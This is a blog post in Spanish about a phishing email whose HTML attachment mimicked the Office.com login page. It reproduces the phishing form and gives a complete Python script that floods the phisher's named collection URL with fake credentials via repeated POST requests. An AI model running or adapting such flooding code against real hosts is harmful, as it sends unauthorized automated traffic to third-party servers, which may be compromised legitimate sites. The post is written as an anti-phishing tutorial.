DEV Community

Cover image for Respondiendo a un ladrón de contraseñas
Rodrigo Leo
Rodrigo Leo

Posted on

Respondiendo a un ladrón de contraseñas

Contenido

  1. El engaño
  2. Construyendo perfiles inexistentes
  3. Enviando datos con urllib
  4. Level up: enviando datos masivamente
  5. Importante: unas palabras de advertencia

⚠️ IMPORTANTE

Por favor considera que el propósito de este artículo es informativo, y tiene como objeto mostrar cómo hacer requests POST en Python usando las librerías nativas. Conviene tener en cuenta un par de puntos importantes al manipular correos electrónicos fraudulentos y al interactuar con los servidores que están diseñados para recibir datos obtenidos de forma ilícita. Por favor lee la sección correspondiente al final del post.

Recibí hace poco un correo electrónico fraudulento que incluía un archivo adjunto que trataba de robar la contraseña de mi cuenta. Si bien los métodos para robar información de los usuarios evolucionan rápidamente, en este caso la idea del ladrón era muy básica: el archivo adjunto era un documento HTM(L) que imitaba casi perfectamente la página de inicio de sesión del correo de Office.com. Así (pensaba sin duda el ladrón) la víctima desprevenida está convencida de estar accediendo a su correo, cuando en realidad le ha regalado sus credenciales de acceso a un desconocido 😡.

Para tratar de dificultarle el robo de contraseñas al ladrón que hay detrás de esto, escribí un script muy sencillo en Python que envía automática y masivamente direcciones de correo y contraseñas falsas a la URL del formulario del archivo adjunto, de forma que la base de datos del ladrón se llene de información de usuarios inexistentes, la cual es difícil de limpiar. En este artículo describo el correo electrónico fraudulento, su mecanismo de robo de información y el diseño del script, que usa únicamente librerías nativas de Python y un archivo con palabras en inglés descargado de internet.

1. El engaño

El correo electrónico en cuestión simulaba ser del administrador de TI de la organización, y era así:

Correo electrónico

Basta ver la dirección del remitente para advertir que se trataba de un engaño. En general estos mensajes ni siquiera llegan a la bandeja de entrada porque el filtro de spam los detiene, pero este correo en particular se le escapó.

Como se puede ver, el archivo adjunto era un documento .htm. Lo guardé en el disco duro y lo abrí en un editor de texto plano, nunca hay que abrirlo directamente en el navegador porque no sabemos qué pueda tener. En el editor pude ver que el archivo no incluía ningún script y que las referencias externas eran al sitio web de Microsoft, mientras que el cuerpo del documento únicamente contenía un formulario sencillo de login. El documento era seguro de abrir en el navegador:

Login falso

Se puede ver que el diseño era prácticamente idéntico a la página de login de Office.com. Usando el inspector de Safari, noté que el campo de la contraseña se encuentra dentro de un formulario que, al enviarse, hace una petición POST a la URL https://level7advertising.com.au/ko/sss.php. Este es el script PHP del ladrón, que sin duda registra la respuesta de la víctima y la guarda en una base de datos para que la pueda usar después.

Código fuente del HTML adjunto

Este es el código fuente del formulario en cuestión, que contenía toda la información para poder diseñar el contraataque:

<form action="https://level7advertising.com.au/ko/sss.php" method="POST">
    <p>
        <img src="https://aadcdn.msftauth.net/ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" alt="">
        <input type="email" style="border: none;" id="fname" name="username" placeholder="Email Address" value="xxx@xxx.xxx" readonly required>
    </p>

    <h2>Enter password</h2>
    <input type="password" class="input_text" name="password" placeholder="Password">
    <div class="link_section">
        <a href="#" class="link">Forgot my password</a>
    </div>
    <br><br>
    <button type="submit" class="btn">Continue</button>
</form>
Enter fullscreen mode Exit fullscreen mode

Lo relevante son los dos elementos <input> que contenía el formulario, pues éstos son los campos que se envían al servidor del ladrón:

  • Uno para el correo electrónico, que es de sólo lectura, con el nombre username. El valor de este campo es el correo electrónico (el código mostrado dice "xxx@xxx.xxx") para ocultar mi verdadera dirección).
  • Uno para la contraseña, con el nombre password.

Este era, en esencia, la lógica detrás de la idea del ladrón. Mi respuesta fue un script que hiciera lo siguiente:

  1. Generar una dirección de correo electrónico inexistente.
  2. Generar una contraseña falsa para esta dirección.
  3. Enviar esta información a la URL del script PHP del ladrón.
  4. ¡Repetir!

Así, el primer paso consiste en construir una lista de direcciones de correo electrónico y contraseñas falsas para indundar con ellas la base de datos de nuestro atacante.

2. Construyendo perfiles inexistentes

Las direcciones de correo electrónico que construí tienen el formato <palabra>@<palabra>.<com/org/net>, y las contraseñas tienen el formato <palabra><número><símbolo>.

Evidentemente, lo primero que necesitamos es una lista de palabras. Descargué una (en inglés) de github.com/dwyl/english-words y la guardé en el mismo directorio del script de Python como words_alpha.txt.

A continuación, abrimos el archivo en Python y guardamos los contenidos en la lista palabras_lista (no olvidemos cerrar el archivo una vez leído, es una buena práctica):

palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()
Enter fullscreen mode Exit fullscreen mode

Examinemos los primeros 10 registros:

palabras_lista[0:10]

>>> ['a\n',
    'aa\n',
    'aaa\n',
    'aah\n',
    'aahed\n',
    'aahing\n',
    'aahs\n',
    'aal\n',
    'aalii\n',
    'aaliis\n']
Enter fullscreen mode Exit fullscreen mode

Notamos que las palabras incluyen al final un salto de línea, esto habrá que considerarlo más adelante. Ahora, definimos una lista con los dominios que usaremos en nuestras direcciones de correo electrónico:

dominios = ["com", "org", "net"]
Enter fullscreen mode Exit fullscreen mode

Ahora sí podemos construir una función que elija aleatoriamente las palabras para construir el correo electrónico y la contraseña. Para la elección aleatoria, usamos la función choice de la librería nativa random (documentación aquí). Llamaremos a nuestra función generar_perfil:

from random import choice

def generar_perfil():
    # Generar dirección de correo:
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)

    # Generar contraseña:
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")

    return {'mail': mail, 'password': password}
Enter fullscreen mode Exit fullscreen mode

Recordamos que las palabras incluyen al final un salto de línea, indicado por los caracteres \n. Por eso hacemos un string slicing en Python para obtener la palabra excepto los dos últimos caracteres: choice(palabras_lista)[:-1] elige aleatoriamente una palabra de la lista palabras_lista y devuelve todos sus caracteres excepto los últimos dos.

Comprobamos si funciona invocando 10 veces a la función y viendo los correos y contraseñas que inventa:

for i in range(0, 10):
    perfil = generar_perfil()
    print(perfil['mail'], "---", perfil['password'])

>>> vegetocarbonaceous@ruralization.com --- crawfish84&
>>> unacquisitiveness@antalkali.com --- velatura30$
>>> ultrastylish@aerodyne.org --- unshocked19?
>>> marines@bloodleaf.net --- vaguios56$
>>> oceanside@bromogelatin.com --- metabolizing43?
>>> peripolygonal@totting.net --- unassaying83!
>>> disquietingly@immaculateness.com --- knapsacked66&
>>> clubbers@heptahedral.org --- libellant94!
>>> recept@unauthoritatively.com --- dingey24!
>>> revoker@lacklustrous.com --- tracheopathia74&
Enter fullscreen mode Exit fullscreen mode

Evidentemente, el correo vegetocarbonaceous@ruralization.com no suena muy auténtico, pero si hay muchos semejantes en una base de datos, es sumamente difícil automatizar un proceso que los detecte sin requerir entrenar un modelo de machine learning, por lo que sirven perfectamente para nuestro propósito.

Con esto ya tenemos una función capaz de generar direcciones de correo electrónico y contraseñas con formatos válidos, no tan fáciles de detectar como falsas. El siguiente paso es construir el mecanismo para enviar estos datos al servidor del ladrón de contraseñas.

3. Enviando datos con urllib

Existen libererías de alto nivel (es decir, más "humanas") para trabajar con peticiones HTTP (por ejemplo, requests - conoce más aquí). Sin embargo, como queremos emplear sólo los módulos nativos de Python, usaremos la librería urllib para hacer peticiones al servidor del atacante.

En primer lugar importamos las clases request y parse del módulo urllib. La primera provee de métodos para hacer peticiones HTTP/S, y la segunda nos permite codificar el diccionario que contiene los datos que deseamos enviar a un formato compatible con el método POST (o GET en su caso).

from urllib import parse, request
Enter fullscreen mode Exit fullscreen mode

En segundo lugar, definimos los datos que queremos enviar al servidor. Como recordamos, el formulario del archivo adjunto que envió el ladrón tiene dos campos, llamados username y password. Estos son los nombres de los campos que debemos enviarle de vuelta. Y los valores son las direcciones de correo electrónico y las contraseñas falsas que obtenemos fácilmente con la función generar_perfil():

dato = generar_perfil()

datos = {
    "username": dato['mail'],
    "password": dato['password']
}
Enter fullscreen mode Exit fullscreen mode

A continuación creamos un string con los datos codificados para enviarlos al servidor. Esto lo hacemos invocando el encode() de la siguiente forma:

datos_encoded = parse.urlencode(datos).encode()
Enter fullscreen mode Exit fullscreen mode

Finalmente, guardamos la URL del formulario en la variable url y enviamos los datos al servidos usando el método urlopen() de la siguiente forma:

url = "https://level7advertising.com.au/ko/sss.php"

r = request.urlopen(url, datos_encoded)
Enter fullscreen mode Exit fullscreen mode

¡Listo! Hemos enviado un primer registro falso al ladrón de contraseñas. Veamos el estado con el que respondió el servidor usando la propedad status:

print(r.status)

>>> 200
Enter fullscreen mode Exit fullscreen mode

Una respuesta 200 indica que la petición ha tenido éxito. Ahora el ladrón tiene un registro falso en su base de datos, lo cual le dificultará la tarea de encontrar los registros de personas verdaderas que, en un descuido, le enviaron su contraseña del correo electrónico.

4. Level up: enviando datos masivamente

Hasta ahora todo bien, pero si queremos enviar muchas respuestas falsas, es fácil programar un bucle que repita esta acción el número de veces que deseemos. Yo lo programé para enviar 100 registros falsos cada vez, espaciando los envíos un número aleatorio de segundos entre 3 y 6 (para esto usé la función sleep del módulo time, que también es nativo de Python - la documentación está aquí).

Al final, el código completo es el siguiente:

from random import choice
from urllib import parse, request
from time import sleep

palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()

dominios = ["com", "org", "net"]
url = "https://level7advertising.com.au/ko/sss.php"

def generar_perfil():
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")
    return {'mail': mail, 'password': password}

for i in range(1, 101):

    # Generar perfil falso:
    dato = generar_perfil()
    datos = {
        "username": dato['mail'],
        "password": dato['password']
    }

    # Codificar datos:
    datos_encoded = parse.urlencode(datos).encode()

    # Enviar petición y mostrar respuesta (junto con el número de iteración):
    r = request.urlopen(url, datos_encoded)
    print(i, r.status)

    # Esperar un número aleatorio de segundos entre 3 y 6:
    sleep(choice(range(3, 7)))
Enter fullscreen mode Exit fullscreen mode

A la fecha de publicación del post, no tuve problema en enviar bloques de 100 perfiles de usuarios inexistentes al ladrón de contraseñas 😊 siempre recibiendo una respuesta exitosa (200) del servidor de destino:

>>> 1 200
>>> 2 200
>>> 3 200
>>> 4 200
    ...
>>> 100 200
Enter fullscreen mode Exit fullscreen mode

5. Importante: unas palabras de advertencia

  1. Nunca se deben deben abrir los archivos adjuntos de un correo electrónico que procede de una dirección desconocida, o cuyo contenido parece (aunque sea sólo un poco) fraudulento. Siempre hay que verificar que la dirección del remitente (y no sólo su nombre) sea conocida. En mi caso, abrí el archivo adjunto primero en un editor de texto y verifiqué que no cargara ningún script, ni local ni remotamente, y que las imágenes procedieran de dominios de confianza.
  2. Al enviar las peticiones POST, el receptor podría registrar la IP de la que proceden. Esto representa (al menos) un riesgo menor de privacidad y seguridad. Es importante no hacerlo en equipos que contengan información sensible (por ejemplo, corporativos). En mi caso, usé una VPN para esconder mi dirección IP real, y ejecuté el script en una máquina virtual aislada en mi computadora personal.

Teniendo en cuenta estos puntos y conservando en la medida de lo posible el sentido común, no deberíamos tener problema.

👨‍💻 Happy coding

Top comments (0)